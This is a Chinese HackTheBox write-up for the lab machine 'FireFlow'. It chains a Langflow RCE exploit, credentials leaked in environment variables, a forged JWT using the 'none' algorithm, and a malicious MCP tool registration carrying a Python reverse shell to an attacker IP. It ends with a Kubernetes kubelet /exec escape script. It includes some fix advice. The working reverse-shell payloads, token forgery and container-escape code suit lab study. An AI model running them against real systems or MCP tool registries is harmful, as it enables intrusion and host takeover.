FireFlow

1
2
3
ip a

10.129.26.108

HTB FireFlow 实战 Writeup

01.信息搜集

靶机发现

目标靶机 IP 为 10.129.25.196(实际交互 IP 为 10.129.26.108)。

端口扫描

1
sudo nmap -sT --min-rate 10000 -p- 10.129.26.108 -oA nmapscan/ports

扫描结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT      STATE    SERVICE              VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
366/tcp filtered odmr
443/tcp open ssl/http nginx
1050/tcp filtered java-or-OTGfileshare
2909/tcp filtered funk-dialout
2920/tcp filtered roboeda
3000/tcp filtered ppp
8652/tcp filtered unknown
9100/tcp filtered jetdirect
19101/tcp filtered unknown
20222/tcp filtered ipulse-ics
30000/tcp filtered ndmps
30718/tcp filtered unknown
30951/tcp filtered unknown
31038/tcp filtered unknown
31337/tcp filtered Elite

关键发现:仅 22/tcp(SSH)和 443/tcp(HTTPS)开放,其余端口均被过滤。攻击面集中在 Web 应用层。

Web 指纹识别

访问 https://fireflow.htb/,页面自动跳转至 Langflow Playground:

1
https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25

将两个域名均添加到 /etc/hosts

1
2
echo "10.129.26.108 fireflow.htb" | sudo tee -a /etc/hosts
echo "10.129.26.108 flow.fireflow.htb" | sudo tee -a /etc/hosts

使用 WhatWeb 进行指纹识别:

1
2
whatweb https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 \
--log-json ./scans/whatweb.json | tee ./scans/whatweb-output.txt

输出:

1
2
3
[200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx], IP[10.129.26.108],
Script[module], Title[Langflow], UncommonHeaders[x-content-type-options,referrer-policy,content-security-policy],
X-UA-Compatible[IE=edge], nginx

提取关键指纹:

1
2
3
4
5
{
jq -r '.[].plugins | keys[]' ./scans/whatweb.json
jq -r '.[].plugins.Title.string[0] // empty' ./scans/whatweb.json
} | grep -v -E '^(Country|IP|Script|UncommonHeaders|X-UA-Compatible|HTTPServer)$' \
| sort -u > ./scans/tech-stack.txt

结论:目标运行 Langflow(一个低代码 AI 工作流平台),基于 nginx 反向代理。


02.渗透测试 — Langflow RCE

CVE 漏洞扫描

创建目标列表

1
echo "https://flow.fireflow.htb" > ./scans/live-urls.txt

Nuclei 指纹定向扫描

1
2
3
4
5
6
7
8
9
nuclei -disable-update-check \
-l ./scans/live-urls.txt \
-t /path/to/nuclei-templates/ \
-t /path/to/community/ \
-t /path/to/custom/ \
-tags langflow \
-severity critical,high,medium \
-o ./scans/nuclei-tech-results.txt \
-jsonl -j ./scans/nuclei-results.jsonl

Nuclei 全量扫描

1
2
3
4
5
6
7
8
nuclei -disable-update-check \
-l ./scans/live-urls.txt \
-t /path/to/nuclei-templates/ \
-t /path/to/community/ \
-t /path/to/custom/ \
-severity critical,high,medium \
-o ./scans/nuclei-results.txt \
-jsonl -j ./scans/nuclei-results.jsonl

命中 CVE 提取

1
2
grep -oE 'CVE-\d{4}-\d+' ./scans/nuclei-results.txt | sort -u > ./scans/hit-cves.txt
# 输出:CVE-2026-33017

查找 PoC

1
2
3
4
5
6
7
while read cve; do
echo ">>> 处理 $cve"
/path/to/tools/cve-find.sh "$cve"
done < ./scans/hit-cves.txt

# 本地命中:nuclei_poc/poc/cve/CVE-2026-33017.yaml
# 公开 PoC:exploitdb/exploits/multiple/webapps/52627.py

CVE-2026-33017 漏洞分析

CVE-2026-33017 是 Langflow 平台的远程代码执行漏洞。Langflow 允许用户通过 Web UI 创建和管理 AI 工作流(Flow),其底层使用 Python 执行组件逻辑。攻击者可通过构造恶意 Flow 组件,在 Langflow 服务器端执行任意 Python 代码。

漏洞利用脚本 52627.py 的核心参数:

参数 说明
-l / --lhost 攻击机 IP
-p / --lport 攻击机监听端口
-u / --url 目标 URL(Langflow 根路径)
-f / --flow-id 目标 Flow ID(从 UI URL 路径获取)
-c / --client-id Langflow 会话 Client ID(用于 Cookie,可任意填写)

Flow ID 来源:/playground/7d84d636-af65-42e4-ac38-26e867052c25 中 UUID 部分即为 Flow ID。Langflow 的 Playground 路由包含了正在编辑的 Flow 的唯一标识符。

漏洞利用

启动监听

1
2
# macOS 使用 -v 而非 -e(BSD netcat 与 Linux ncat 语法不同)
sudo nc -lv 9001

执行 Exploit

1
2
3
4
5
6
python3 /path/to/exploitdb/exploits/multiple/webapps/52627.py \
-u https://flow.fireflow.htb \
-f 7d84d636-af65-42e4-ac38-26e867052c25 \
-c attacker \
-l 10.10.17.11 \
-p 9001

成功获取反向 Shell,当前身份为 www-data


03.权限提升 — www-data → nightfall

信息收集

获得 Shell 后立即进行环境枚举:

1
2
3
4
5
6
7
8
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

cat /etc/passwd
# root
# nightfall:x:1000:1000::/home/nightfall:/bin/bash

env

在环境变量中发现关键凭据:

1
2
3
4
LANGFLOW_LOG_LEVEL=warning
USER_AGENT=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE

关键发现:Langflow 的 Superuser 密码以明文形式存在于环境变量中(LANGFLOW_SUPERUSER_PASSWORD),同时泄露了 Flask/Django 的 SECRET_KEY。在真实环境中,敏感凭据不应通过环境变量明文注入,应使用 Kubernetes Secrets 或 Vault 等密钥管理方案。

SSH 登录

利用获取的凭据通过 SSH 登录 nightfall 用户:

1
2
ssh nightfall@fireflow.htb
# Password: n1ghtm4r3_b4_n1ghtf4ll

User Flag 与 MCP 配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nightfall@fireflow:~$ ls -liah
total 36K
540 drwxr-x--- 5 nightfall nightfall 4.0K May 12 15:28 .
17 drwxr-xr-x 3 root root 4.0K May 12 15:28 ..
1347 lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null
2516 -rw-r--r-- 1 nightfall nightfall 220 Mar 31 2024 .bash_logout
2549 -rw-r--r-- 1 nightfall nightfall 3.7K Mar 31 2024 .bashrc
6102 drwx------ 2 nightfall nightfall 4.0K May 12 15:28 .cache
58690 drwxrwxr-x 3 nightfall nightfall 4.0K May 12 15:28 .local
2702 drwx------ 2 nightfall nightfall 4.0K Jul 10 00:34 .mcp
2514 -rw-r--r-- 1 nightfall nightfall 807 Mar 31 2024 .profile
2681 -rw-r----- 1 root nightfall 33 Jul 10 00:35 user.txt

nightfall@fireflow:~$ cat user.txt
# ✅ User Flag 获取成功

.mcp 目录中发现 MCP 服务配置

1
2
3
4
5
6
7
nightfall@fireflow:~/.mcp$ cat config.json
{
"server": "http://10.129.26.108:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}

横向移动线索:存在一个内部 MCP(Model Context Protocol)服务运行在 30080 端口,拥有独立的认证凭据。


04.横向移动 — MCP 服务攻击

MCP 服务信息探测

1
curl -s http://10.129.26.108:30080/api/v1/version | python3 -m json.tool

返回结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"service": "MCP AI Tool Registry",
"version": "0.1.0",
"auth": {
"type": "JWT",
"header": "Authorization: Bearer <token>",
"supported_algorithms": [
"HS256",
"none"
]
},
"docs": "/docs",
"endpoints": [
"POST /mcp [MCP JSON-RPC 2.0]",
"POST /api/v1/auth",
"GET /api/v1/tools",
"POST /api/v1/tools [admin]"
]
}

关键风险信号supported_algorithms 中包含 none 算法。这意味着 JWT 库未正确限制允许的签名算法,为 JWT 伪造攻击提供了入口。

JWT 认证分析与攻击

获取 Bot Token

1
2
3
curl -s -X POST http://10.129.26.108:30080/api/v1/auth \
-H 'Content-Type: application/json' \
-d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'

返回:

1
{"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps","token_type":"bearer"}

JWT 解码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 浏览器 Console 或 Node.js 中执行
function decodeJWT(token) {
const parts = token.split('.');
if (parts.length !== 3) throw new Error('Invalid JWT');
const payload = atob(parts[1].replace(/-/g, '+').replace(/_/g, '/'));
return JSON.parse(decodeURIComponent(escape(payload)));
}

console.log(decodeJWT('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'));

// 输出:
// {
// "sub": "langflow-bot",
// "role": "user"
// }

当前 Token 角色为 userGET /api/v1/tools 无需管理员权限,但 POST /api/v1/tools(注册新工具)需要 admin 角色。

JWT None 算法攻击

攻击原理:JWT 标准支持 alg: "none" 表示不进行签名验证。若服务端 JWT 库未显式禁用此算法,攻击者可伪造任意 Header/Payload 而不需提供有效签名,signature 部分留空即可。

标准 JWT 结构:base64(Header).base64(Payload).base64(Signature)

alg: "none" 时,只需构造 base64(Header).base64(Payload). (末尾.保留,signature为空)。

1
2
3
4
5
6
7
8
9
10
11
12
import base64, json

def b64url(data):
"""Base64 URL-safe 编码(去除 padding)"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = b64url(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64url(json.dumps({"sub":"attacker","role":"admin"}).encode())
token = f"{header}.{payload}."

print(token)
# eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.

防御视角:生产环境中应显式指定 algorithms=["HS256"](或 RS256),并设置 JWT 库的 verify_signature=True 默认行为。

工具注册与远程代码执行

列出可用工具(User 权限即可)

1
2
3
curl -s -X GET http://10.129.26.108:30080/api/v1/tools \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer <bot_token>"

返回:

1
2
3
4
5
[
{"name":"ping_host","description":"Ping a target host 3 times and return ICMP output."},
{"name":"get_metrics_summary","description":"Return a summary of system memory and load average from /proc."},
{"name":"list_running_tasks","description":"List the top 20 running processes sorted by CPU usage."}
]

注册恶意工具(Admin 权限)

利用伪造的 Admin Token 向 POST /api/v1/tools 注册一个名为 shell 的工具,其 code 字段包含 Python 反弹 Shell 代码(双 fork 守护进程化):

1
2
3
4
5
6
7
8
9
curl -s -X POST http://10.129.26.108:30080/api/v1/tools \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9." \
-d '{
"name":"shell",
"description":"debug shell",
"inputSchema":{"type":"object","properties":{}},
"code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit()\ns=socket.socket()\ns.connect((\"10.10.17.11\",9001))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")"
}'

设计缺陷分析:MCP 服务的工具注册接口允许直接注入 Python 代码块,且 code 字段在工具被调用时会通过 exec() 或类似机制在服务端执行。这是典型的 代码注入 场景——工具注册本应只接受声明性配置,而非可执行代码。

触发恶意工具(MCP JSON-RPC)

通过 MCP 标准协议调用已注册的 shell 工具:

1
2
3
4
curl -s -X POST http://10.129.26.108:30080/mcp \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9." \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}' | python3 -m json.tool

tools/call 方法触发服务端执行 shell 工具的 code 代码 → 反向 Shell 连接至攻击机,获得 mcp 用户权限。


05.权限提升 — MCP Pod → 宿主机 Root(Kubernetes Escape)

环境确认:Kubernetes Pod 识别

1
2
3
4
5
6
7
8
9
10
id
# uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

ls /var/run/secrets/kubernetes.io/serviceaccount
# ca.crt namespace token

env | grep KUBERNETES
# KUBERNETES_SERVICE_HOST=10.43.0.1
# KUBERNETES_SERVICE_PORT=443
# KUBERNETES_SERVICE_PORT_HTTPS=443

确认:当前处于 Kubernetes 集群中的 Pod 内部。Kubernetes 默认将 ServiceAccount 凭证(Token + CA 证书)挂载到 /var/run/secrets/kubernetes.io/serviceaccount,这是我们后续横向移动的”入场券”。

K8s 集群信息探测

1
2
3
4
5
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NODE_IP="10.129.26.108"

# 尝试通过 Kubelet API 列出所有 Pod(绕过 API Server)
curl -sk "https://${NODE_IP}:10250/pods" -H "Authorization: Bearer $TOKEN"

原理:Kubelet 的 10250 端口提供与 API Server 等价的 Pod 管理接口。若 Token 有效且具备 nodes/proxy 权限(或 Kubelet 认证配置宽松),即可直接列出该 Node 上所有 Pod 的完整清单。

筛选特权容器

从 Kubelet 返回的 Pod 列表中筛选同时满足以下条件的容器:

  1. securityContext.privileged: true(特权模式,拥有宿主机完整能力)
  2. 挂载了宿主机 hostPath(可触及宿主机文件系统)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
curl -sk "https://${NODE_IP}:10250/pods" -H "Authorization: Bearer $TOKEN" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data['items']:
ns = item['metadata']['namespace']
name = item['metadata']['name']
vols = [v for v in item['spec'].get('volumes', []) if 'hostPath' in v]
for c in item['spec']['containers']:
csc = c.get('securityContext', {})
if csc.get('privileged') and vols:
paths = [v['hostPath']['path'] for v in vols]
print(f'[!] PRIVILEGED: {ns}/{name} - container: {c[\"name\"]} - hostPaths: {paths}')
"

输出:

1
[!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: ['/proc', '/sys', '/']

关键发现:Prometheus Node Exporter 容器以特权模式运行,且将宿主机根目录 / 挂载到容器内。这意味着在此容器中执行代码即可直接读写宿主机文件系统

Kubelet Exec WebSocket 利用

Kubelet 提供 /exec 端点用于在指定 Pod 的 Container 中执行命令(kubectl exec 的底层实现)。利用有效 Token 构造 WebSocket 请求即可在 Node Exporter 容器中执行任意命令。

WebSocket Exec 利用脚本 (kube_exec.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import asyncio, ssl, sys, websockets

NODE = "10.129.26.108"
NE_NS = "monitoring"
NE_POD = "prometheus-prometheus-node-exporter-nmntq" # 注意:Pod 名称每次部署可能不同
NE_CNT = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd_parts):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
args = "&".join(f"command={part}" for part in cmd_parts)
url = (f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}"
f"?output=1&error=1&{args}")
async with websockets.connect(
url, ssl=ctx,
additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"],
open_timeout=10
) as ws:
try:
while True:
data = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(data, bytes) and len(data) > 1:
sys.stdout.write(data[1:].decode("utf-8", errors="replace"))
sys.stdout.flush()
except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
pass

asyncio.run(ws_exec(COMMAND.split()))

部署脚本到 Pod

1
2
3
4
cat > /tmp/kube_exec.py << 'EOF'
#!/usr/bin/env python3
... (如上脚本内容) ...
EOF

验证 Root 权限

1
2
3
4
5
6
7
8
9
10
11
12
python3 /tmp/kube_exec.py "whoami"
# root

python3 /tmp/kube_exec.py "ls /host/root/root -liah"
# total 48K
# 917506 drwx------ 7 root root 4.0K Jul 10 00:35 .
# 2 drwxr-xr-x 23 root root 4.0K May 12 15:28 ..
# 917560 lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null
# 917523 -rw-r--r-- 1 root root 3.0K Apr 22 2024 .bashrc
# 921951 drwxr-x--- 3 root root 4.0K Apr 9 15:47 .kube
# 921970 -rw-r----- 1 root root 33 Jul 10 00:35 root.txt
# 917548 -rwxr-xr-x 1 root root 882 May 11 11:16 update_mcp_ip.sh

读取 Root Flag

1
python3 /tmp/kube_exec.py "cat /host/root/root/root.txt"

06.攻击链总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─────────────────────────────────────────────────────────────────────┐
│ FireFlow 完整攻击链 │
├───────────────┬─────────────────────────────────────────────────────┤
│ 1. 信息搜集 │ Nmap → 发现 22/SSH、443/HTTPS │
│ │ WhatWeb → 识别 Langflow 应用 │
├───────────────┼─────────────────────────────────────────────────────┤
│ 2. 初始突破 │ Nuclei → 命中 CVE-2026-33017(Langflow RCE) │
│ │ Exploit → 反弹 Shell → www-data │
├───────────────┼─────────────────────────────────────────────────────┤
│ 3. 权限提升1 │ env → 泄露 LANGFLOW_SUPERUSER_PASSWORD │
│ │ SSH nightfall → 读取 user.txt │
├───────────────┼─────────────────────────────────────────────────────┤
│ 4. 横向移动 │ .mcp/config.json → 获取 MCP 服务凭据 │
│ │ JWT none 算法 → 伪造 admin Token │
│ │ POST /api/v1/tools → 注册恶意工具(反弹Shell) │
│ │ MCP JSON-RPC tools/call → 获得 mcp 用户 │
├───────────────┼─────────────────────────────────────────────────────┤
│ 5. 权限提升2 │ ServiceAccount Token → Kubelet /pods 枚举 │
│ (K8s Escape)│ 发现 Privileged Node Exporter(hostPath: /) │
│ │ Kubelet /exec WebSocket → 特权容器命令执行 │
│ │ 宿主机文件系统读取 → root.txt │
└───────────────┴─────────────────────────────────────────────────────┘

07.关键技术点深度解析

JWT none 算法攻击原理

JWT(JSON Web Token)规范 RFC 7519 允许 alg 字段为 "none",表示 Token 不进行签名验证。问题在于:

  1. 许多 JWT 库默认根据 Header 中的 alg 字段自动选择验证方式
  2. 若服务端代码未显式限制允许的算法列表(如 jwt.decode(token, algorithms=["HS256"])
  3. 攻击者将 alg 设为 "none" 即可绕过签名验证

修复方案:始终在 jwt.decode() 调用中显式指定 algorithms 参数,绝不要信任 Token Header 中声明的算法。

Kubernetes 提权原理

本次 K8s 逃逸依赖三个条件的组合:

条件 说明
有效 Token ServiceAccount Token 挂载到 Pod 内
nodes/proxy 权限 Token 具备代理 Node 资源的能力
特权容器 + hostPath node-exporter 以 privileged 运行且挂载宿主机 /

为什么 /exec 调用会成功?

Kubelet 接收到请求后通过 Webhook 向 API Server 验证 Token。API Server 检查的是 Token 是否具备操作 nodes/proxy 子资源的权限,而非 pods/execnodes/proxy 本质上代表”可代理该 Node 上的所有操作”,因此 Token 通过验证后 Kubelet 放行所有请求。